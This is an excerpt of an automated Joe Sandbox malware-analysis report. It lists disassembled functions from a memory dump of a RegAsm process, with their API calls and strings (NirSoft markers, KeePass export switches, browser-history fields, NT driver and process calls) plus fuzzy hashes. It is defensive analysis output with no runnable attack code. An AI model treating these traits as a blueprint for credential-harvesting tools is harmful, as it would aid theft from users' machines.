                      • GetModuleHandleW.KERNEL32(00000000), ref: 004035BF
                      • LoadIconW.USER32(00000000,00000072), ref: 004035CA
                      • GetModuleHandleW.KERNEL32(00000000), ref: 004035DF
                      • LoadIconW.USER32(00000000,00000074), ref: 004035E4
                      • GetModuleHandleW.KERNEL32(00000000), ref: 004035F3
                      • LoadIconW.USER32(00000000,00000073), ref: 004035F8
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00403607
                      • LoadIconW.USER32(00000000,00000075), ref: 0040360C
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0040361B
                      • LoadIconW.USER32(00000000,0000006F), ref: 00403620
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0040362F
                      • LoadIconW.USER32(00000000,00000076), ref: 00403634
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00403643
                      • LoadIconW.USER32(00000000,00000077), ref: 00403648
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00403657
                      • LoadIconW.USER32(00000000,00000070), ref: 0040365C
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0040366B
                      • LoadIconW.USER32(00000000,00000078), ref: 00403670
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleLoadModule$Icon$ImageMessageSendmemset$ColorDirectoryFileInfoWindows
                      • String ID:
                      • API String ID: 1043902810-0
                      • Opcode ID: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                      • Instruction ID: 42406aa8c1b655767e81280a563d2f976f29c17d6cb42a8b032fada3297a07e5
                      • Opcode Fuzzy Hash: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                      • Instruction Fuzzy Hash: B1212EA0B857087AF63137B2DC4BF7B7A5EDF81B89F214410F35C990E0C9E6AC108929
                      Function 0040E2AB Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 165COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                        • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E49A
                        • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                      • memset.MSVCRT ref: 0040E380
                        • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                        • Part of subcall function 0040AA29: memcpy.MSVCRT ref: 0040AA5B
                      • wcschr.MSVCRT ref: 0040E3B8
                      • memcpy.MSVCRT ref: 0040E3EC
                      • memcpy.MSVCRT ref: 0040E407
                      • memcpy.MSVCRT ref: 0040E422
                      • memcpy.MSVCRT ref: 0040E43D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$_wcsicmpmemset$??3@wcschrwcslen
                      • String ID: $AccessCount$AccessedTime$CreationTime$EntryID$ExpiryTime$ModifiedTime$Url
                      • API String ID: 3073804840-2252543386
                      • Opcode ID: f8736963c1e408997af279cfc298981fa7ef611c2197f5f9bddedf84c8b339a3
                      • Instruction ID: 3bb3cf654da2d90f893253d259683e8481abe175d229eeda5eb464894a91a1db
                      • Opcode Fuzzy Hash: f8736963c1e408997af279cfc298981fa7ef611c2197f5f9bddedf84c8b339a3
                      • Instruction Fuzzy Hash: DA512071E00309ABDF10EFA6DC45B9EB7B8AF54305F15443BA904F7291E678AA14CB58
                      Function 004447D9 Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 139COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@??3@_snwprintfwcscpy
                      • String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
                      • API String ID: 2899246560-1542517562
                      • Opcode ID: 79e099bb23a1393a239ae01641405c8b767ccdf12231d4bb76dd8066c9d8bd92
                      • Instruction ID: ddb1140ba30d93f946c39142265044aeba6ebe712c4753dd77c76fa61262b17a
                      • Opcode Fuzzy Hash: 79e099bb23a1393a239ae01641405c8b767ccdf12231d4bb76dd8066c9d8bd92
                      • Instruction Fuzzy Hash: 434127B2900218BAD704EFA1DC82DDEB7BCBF49305B110167BD05B3152DB78A655CBE8
                      Function 004091B8 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 272COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$memcmp$ByteCharMultiWidememset
                      • String ID:
                      • API String ID: 3715365532-3916222277
                      • Opcode ID: f920f79086ebd03163bb660580745ba542768fbf6859bbba0dc8aac637b41020
                      • Instruction ID: d5c0d9b4f94ac501fd0f2fb5594fd033b2d13f4c98b4255323c8c53c7695c3f7
                      • Opcode Fuzzy Hash: f920f79086ebd03163bb660580745ba542768fbf6859bbba0dc8aac637b41020
                      • Instruction Fuzzy Hash: DDA1BA71900605ABDB21EF65D885BAFB7BCAF44304F01043FF945E6282EB78EA458B59
                      Function 00408560 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 182stringCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetFileSize.KERNEL32(00000000,00000000,?,00000001,00000000,?,004089ED,?,?,?,0000001E,?,?,00000104), ref: 00408589
                      • ??2@YAPAXI@Z.MSVCRT ref: 0040859D
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      • memset.MSVCRT ref: 004085CF
                      • memset.MSVCRT ref: 004085F1
                      • memset.MSVCRT ref: 00408606
                      • strcmp.MSVCRT ref: 00408645
                      • _mbscpy.MSVCRT ref: 004086DB
                      • _mbscpy.MSVCRT ref: 004086FA
                      • memset.MSVCRT ref: 0040870E
                      • strcmp.MSVCRT ref: 0040876B
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040879D
                      • CloseHandle.KERNEL32(?), ref: 004087A6
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$File$_mbscpystrcmp$??2@??3@CloseCreateHandleReadSize
                      • String ID: ---
                      • API String ID: 3437578500-2854292027
                      • Opcode ID: deb32149b504d539516d0f42eccfd95bc3c0c038ac4760bb164b185877a325eb
                      • Instruction ID: 4c5fbc017ddd4a43d5b0f69e9578b2b0908928dff5e121bfcb53d45818d158f6
                      • Opcode Fuzzy Hash: deb32149b504d539516d0f42eccfd95bc3c0c038ac4760bb164b185877a325eb
                      • Instruction Fuzzy Hash: 256191B2C0421DAADF20DB948D819DEBBBCAB15314F1140FFE558B3141DA399BC4CBA9
                      Function 0041083A Relevance: 21.1, APIs: 14, Instructions: 137windowCOMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0041087D
                      • memset.MSVCRT ref: 00410892
                      • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004108A4
                      • SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 004108C2
                      • SendMessageW.USER32(?,00001003,00000001,?), ref: 004108FF
                      • SendMessageW.USER32(?,00001003,00000000,?), ref: 00410936
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00410951
                      • LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00410963
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0041096E
                      • LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00410980
                      • GetSysColor.USER32(0000000F), ref: 00410999
                      • DeleteObject.GDI32(?), ref: 004109D0
                      • DeleteObject.GDI32(?), ref: 004109D6
                      • SendMessageW.USER32(00000000,00001208,00000000,?), ref: 004109F3
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: MessageSend$DeleteHandleImageLoadModuleObjectmemset$ColorDirectoryFileInfoWindows
                      • String ID:
                      • API String ID: 1010922700-0
                      • Opcode ID: 9f32c972fd3bed260489b92fc8884ca82be835491797332215144efe3993187c
                      • Instruction ID: e9b684d61d60cc1afb152275eb3c8de820581b68aaecd99ee02cab8be193ddee
                      • Opcode Fuzzy Hash: 9f32c972fd3bed260489b92fc8884ca82be835491797332215144efe3993187c
                      • Instruction Fuzzy Hash: 48418575640304BFF720AF61DC8AF97779CFB09744F000829F399A51E1D6F6A8909B29
                      Function 00418680 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                      • GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                      • malloc.MSVCRT ref: 004186B7
                      • ??3@YAXPAX@Z.MSVCRT ref: 004186C7
                      • GetFullPathNameW.KERNEL32(00000000,-00000003,00000000,00000000), ref: 004186DB
                      • ??3@YAXPAX@Z.MSVCRT ref: 004186E0
                      • GetFullPathNameA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186F6
                      • malloc.MSVCRT ref: 004186FE
                      • GetFullPathNameA.KERNEL32(00000000,-00000003,00000000,00000000), ref: 00418711
                      • ??3@YAXPAX@Z.MSVCRT ref: 00418716
                      • ??3@YAXPAX@Z.MSVCRT ref: 0041872A
                      • ??3@YAXPAX@Z.MSVCRT ref: 00418749
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$FullNamePath$malloc$Version
                      • String ID: |A
                      • API String ID: 4233704886-1717621600
                      • Opcode ID: 7e01f0dee03851588a79a4a26fa611e8dffd0452dbc09a85c2cc2e741f239264
                      • Instruction ID: f8a1ad7f3386c3a0ca67e8408a701755caa4d882ef8d2f884b3bc60851bd4b4d
                      • Opcode Fuzzy Hash: 7e01f0dee03851588a79a4a26fa611e8dffd0452dbc09a85c2cc2e741f239264
                      • Instruction Fuzzy Hash: F5217432900118BFEF11BFA6DC46CDFBB79DF41368B22006FF804A2161DA799E91995D
                      Function 004125F8 Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 70COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmp
                      • String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
                      • API String ID: 2081463915-1959339147
                      • Opcode ID: 28c2ebe8ae336333f434d0f7201133c37a7c95e7bcc6e3a748ef2c38aa05b661
                      • Instruction ID: 8733bd8b557f913067c5021fbfe18d0583d9fd94efe92a6f612d034962822ca0
                      • Opcode Fuzzy Hash: 28c2ebe8ae336333f434d0f7201133c37a7c95e7bcc6e3a748ef2c38aa05b661
                      • Instruction Fuzzy Hash: A401843328931228FA2538663D07F834F48CB52BBBF32405BF800D81C6FE8C4565605E
                      Function 00412172 Relevance: 19.7, APIs: 13, Instructions: 189windowCOMMON
                      Download Yara Rule
                      APIs
                      • GetDC.USER32(00000000), ref: 004121FF
                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041220A
                      • ReleaseDC.USER32(00000000,00000000), ref: 0041221F
                      • SetBkMode.GDI32(?,00000001), ref: 00412232
                      • SetTextColor.GDI32(?,00FF0000), ref: 00412240
                      • SelectObject.GDI32(?,?), ref: 00412251
                      • DrawTextExW.USER32(?,?,000000FF,?,00000024,?), ref: 00412285
                      • SelectObject.GDI32(00000014,00000005), ref: 00412291
                        • Part of subcall function 00411FC6: GetCursorPos.USER32(?), ref: 00411FD0
                        • Part of subcall function 00411FC6: GetSubMenu.USER32(?,00000000), ref: 00411FDE
                        • Part of subcall function 00411FC6: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0041200F
                      • GetModuleHandleW.KERNEL32(00000000), ref: 004122AC
                      • LoadCursorW.USER32(00000000,00000067), ref: 004122B5
                      • SetCursor.USER32(00000000), ref: 004122BC
                      • PostMessageW.USER32(?,00000428,00000000,00000000), ref: 00412304
                      • memcpy.MSVCRT ref: 0041234D
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Cursor$MenuObjectSelectText$CapsColorDeviceDrawHandleLoadMessageModeModulePopupPostReleaseTrackmemcpy
                      • String ID:
                      • API String ID: 1700100422-0
                      • Opcode ID: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                      • Instruction ID: eb413d4c014922f01c1be241ee45634b3e5b5e29cfe5fc1015c733cb557b7a75
                      • Opcode Fuzzy Hash: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                      • Instruction Fuzzy Hash: 0F61D331600109AFDB149F74CE89BEA77A5BB45300F10052AFA25D7291DBBC9CB1DB59
                      Function 004111C1 Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                      Download Yara Rule
                      APIs
                      • GetClientRect.USER32(?,?), ref: 004111E0
                      • GetWindowRect.USER32(?,?), ref: 004111F6
                      • GetWindowRect.USER32(?,?), ref: 0041120C
                      • GetDlgItem.USER32(00000000,0000040D), ref: 00411246
                      • GetWindowRect.USER32(00000000), ref: 0041124D
                      • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0041125D
                      • BeginDeferWindowPos.USER32(00000004), ref: 00411281
                      • DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 004112A4
                      • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 004112C3
                      • DeferWindowPos.USER32(?,?,00000000,00000000,000000DC,?,?,00000004), ref: 004112EE
                      • DeferWindowPos.USER32(?,00000000,00000000,00000000,?,?,000000DC,00000004), ref: 00411306
                      • EndDeferWindowPos.USER32(?), ref: 0041130B
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Window$Defer$Rect$BeginClientItemPoints
                      • String ID:
                      • API String ID: 552707033-0
                      • Opcode ID: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                      • Instruction ID: 1a89c9de14f4e003cb1acc22e2fe5cfe68aec74c13575a54a2aa846d798aa5ff
                      • Opcode Fuzzy Hash: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                      • Instruction Fuzzy Hash: 3B41D375900209FFEB11DFA8DD89FEEBBBAFB48300F104469F655A61A0C771AA50DB14
                      Function 00414621 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$_snwprintf
                      • String ID: %%0.%df
                      • API String ID: 3473751417-763548558
                      • Opcode ID: d3ed19b3c5d3f5d27fcb945595af099acb5609e53fc24cbfd77fa4eb0abb8f2a
                      • Instruction ID: e3e507119e413e1699737691dcc770ce903c50d69a4f0c7cc4f670013a5326e5
                      • Opcode Fuzzy Hash: d3ed19b3c5d3f5d27fcb945595af099acb5609e53fc24cbfd77fa4eb0abb8f2a
                      • Instruction Fuzzy Hash: 2D318F71800129BBEB20DF95CC85FEB77BCFF49304F0104EAB509A2155E7349A94CBA9
                      Function 004060A4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97timewindowCOMMON
                      Download Yara Rule
                      APIs
                      • SetTimer.USER32(?,00000041,00000064,00000000), ref: 004060C7
                      • KillTimer.USER32(?,00000041), ref: 004060D7
                      • KillTimer.USER32(?,00000041), ref: 004060E8
                      • GetTickCount.KERNEL32 ref: 0040610B
                      • GetParent.USER32(?), ref: 00406136
                      • SendMessageW.USER32(00000000), ref: 0040613D
                      • BeginDeferWindowPos.USER32(00000004), ref: 0040614B
                      • EndDeferWindowPos.USER32(00000000), ref: 0040619B
                      • InvalidateRect.USER32(?,?,00000001), ref: 004061A7
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Timer$DeferKillWindow$BeginCountInvalidateMessageParentRectSendTick
                      • String ID: A
                      • API String ID: 2892645895-3554254475
                      • Opcode ID: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                      • Instruction ID: 3d646c34c65c30a23a549f03b0efc12359fcfb722ff8df3f2fd47db5f06942f8
                      • Opcode Fuzzy Hash: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                      • Instruction Fuzzy Hash: 67318F75240304BBEB205F62DC85F6A7B6ABB44742F018539F3067A5E1C7F998A18B58
                      Function 0040D957 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97windowCOMMON
                      Download Yara Rule
                      APIs
                      • LoadMenuW.USER32(?,?), ref: 0040D97F
                        • Part of subcall function 0040D7A7: GetMenuItemCount.USER32(?), ref: 0040D7BD
                        • Part of subcall function 0040D7A7: memset.MSVCRT ref: 0040D7DC
                        • Part of subcall function 0040D7A7: GetMenuItemInfoW.USER32 ref: 0040D818
                        • Part of subcall function 0040D7A7: wcschr.MSVCRT ref: 0040D830
                      • DestroyMenu.USER32(00000000), ref: 0040D99D
                      • CreateDialogParamW.USER32(?,?,00000000,0040D952,00000000), ref: 0040D9F2
                      • GetDesktopWindow.USER32 ref: 0040D9FD
                      • CreateDialogParamW.USER32(?,?,00000000), ref: 0040DA0A
                      • memset.MSVCRT ref: 0040DA23
                      • GetWindowTextW.USER32(00000005,?,00001000), ref: 0040DA3A
                      • EnumChildWindows.USER32(00000005,Function_0000D898,00000000), ref: 0040DA67
                      • DestroyWindow.USER32(00000005), ref: 0040DA70
                        • Part of subcall function 0040D5D6: _snwprintf.MSVCRT ref: 0040D5FB
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Menu$Window$CreateDestroyDialogItemParammemset$ChildCountDesktopEnumInfoLoadTextWindows_snwprintfwcschr
                      • String ID: caption
                      • API String ID: 973020956-4135340389
                      • Opcode ID: 5e414436bb8e275bf9a16e2693900a7463b03ad76ebaf029bad5c7ef584cf34d
                      • Instruction ID: d77e6bedd7727d4aace6f5c0bd160524984489d6dc7b24eaa8e7ecc9459ec1fc
                      • Opcode Fuzzy Hash: 5e414436bb8e275bf9a16e2693900a7463b03ad76ebaf029bad5c7ef584cf34d
                      • Instruction Fuzzy Hash: 60319072900208BFEF11AF91DC85EAA3B78FF04315F10843AF909A61A1D7799D58CF59
                      Function 00410A60 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • <table dir="rtl"><tr><td>, xrefs: 00410B00
                      • <br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 00410B3C
                      • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 00410A70
                      • <meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00410ADD
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$_snwprintf$wcscpy
                      • String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>
                      • API String ID: 1283228442-2366825230
                      • Opcode ID: 2928c1e4db6f8540118cb54ef1ff53e3c28d5a36283f281326c9c00f9b8dcb63
                      • Instruction ID: da896b014e5ee892582fb8e7d48e4383de9842bc572d8210300f5843ce7472f7
                      • Opcode Fuzzy Hash: 2928c1e4db6f8540118cb54ef1ff53e3c28d5a36283f281326c9c00f9b8dcb63
                      • Instruction Fuzzy Hash: 5C2182B69002197BDB21AB95CC41EDE77BCAF08785F0040ABF549D3151DA789F888BA9
                      Function 00413959 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82COMMON
                      Download Yara Rule
                      APIs
                      • wcschr.MSVCRT ref: 00413972
                      • wcscpy.MSVCRT ref: 00413982
                        • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409806
                        • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409810
                        • Part of subcall function 004097F7: _memicmp.MSVCRT ref: 0040982B
                      • wcscpy.MSVCRT ref: 004139D1
                      • wcscat.MSVCRT ref: 004139DC
                      • memset.MSVCRT ref: 004139B8
                        • Part of subcall function 00409DD5: GetWindowsDirectoryW.KERNEL32(0045DC58,00000104,?,00413A11,?,?,00000000,00000208,?), ref: 00409DEB
                        • Part of subcall function 00409DD5: wcscpy.MSVCRT ref: 00409DFB
                      • memset.MSVCRT ref: 00413A00
                      • memcpy.MSVCRT ref: 00413A1B
                      • wcscat.MSVCRT ref: 00413A27
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
                      • String ID: \systemroot
                      • API String ID: 4173585201-1821301763
                      • Opcode ID: e4551322c16c9acef98fc86a4838192e22c045fa3321ccd57a54cdfa3ae28df9
                      • Instruction ID: a9582ad2fab6187976d7b5f1d827ce349b207672d34ede1993470c6c3fb504e1
                      • Opcode Fuzzy Hash: e4551322c16c9acef98fc86a4838192e22c045fa3321ccd57a54cdfa3ae28df9
                      • Instruction Fuzzy Hash: 7D21F6F68053146AE720FB619C86EEF73EC9F06719F20415FF115A20C6EA7C9A844B5E
                      Function 0041352F Relevance: 17.5, APIs: 1, Strings: 9, Instructions: 41COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModule
                      • String ID: NtLoadDriver$NtOpenSymbolicLinkObject$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$NtUnloadDriver$ntdll.dll
                      • API String ID: 4139908857-2887671607
                      • Opcode ID: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                      • Instruction ID: 8dd6b0f06cc06780b82abcfa5335c49c30c65db347d43124f897848efd9f6b7c
                      • Opcode Fuzzy Hash: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                      • Instruction Fuzzy Hash: 8C015E75D48324AACB339F75AD09A053FB1EF04797B1004B7A80492266DAF9815CDE4C
                      Function 0040C084 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 110stringCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040A32D: SetFilePointer.KERNEL32(0040C2BF,?,00000000,00000000,?,0040C0C5,00000000,00000000,?,00000020,?,0040C255,?,?,*.*,0040C2BF), ref: 0040A33A
                      • GetFileSize.KERNEL32(00000000,00000000), ref: 0040C0D4
                        • Part of subcall function 0040BFF3: _memicmp.MSVCRT ref: 0040C00D
                        • Part of subcall function 0040BFF3: memcpy.MSVCRT ref: 0040C024
                      • memcpy.MSVCRT ref: 0040C11B
                      • strchr.MSVCRT ref: 0040C140
                      • strchr.MSVCRT ref: 0040C151
                      • _strlwr.MSVCRT ref: 0040C15F
                      • memset.MSVCRT ref: 0040C17A
                      • CloseHandle.KERNEL32(00000000), ref: 0040C1C7
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Filememcpystrchr$CloseHandlePointerSize_memicmp_strlwrmemset
                      • String ID: 4$h
                      • API String ID: 4019544885-1856150674
                      • Opcode ID: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                      • Instruction ID: ad7b68c589633d756b108d453181f98220e50dbf4ed18f1a1dc8c2c6e1bbf79d
                      • Opcode Fuzzy Hash: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                      • Instruction Fuzzy Hash: F531C2B2800218FEEB20EB54CC85EEE73BCEF05354F14416AF508A6181D7389F558FA9
                      Function 0040D2AB Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
                      • String ID: 0$6
                      • API String ID: 4066108131-3849865405
                      • Opcode ID: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                      • Instruction ID: 23fd2219eb4cf2a86962fa47610fb6a66e7712bfbd77636794901fa2ff6d3352
                      • Opcode Fuzzy Hash: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                      • Instruction Fuzzy Hash: 1C317C72808344AFDB209F95D84499FB7E8FF84314F00493EFA48A2291D775D949CB5B
                      Function 004082C7 Relevance: 15.2, APIs: 10, Instructions: 229COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004082EF
                        • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                      • memset.MSVCRT ref: 00408362
                      • memset.MSVCRT ref: 00408377
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$ByteCharMultiWide
                      • String ID:
                      • API String ID: 290601579-0
                      • Opcode ID: 2c5b7af1b6ad7fa84976a25c4c1a6b62738b238711a472a87ec5ace72f6ab842
                      • Instruction ID: eff1c4cb9ad8ed09cf65616da307521f953f8cb6273bc8e87bbfe44e88666a06
                      • Opcode Fuzzy Hash: 2c5b7af1b6ad7fa84976a25c4c1a6b62738b238711a472a87ec5ace72f6ab842
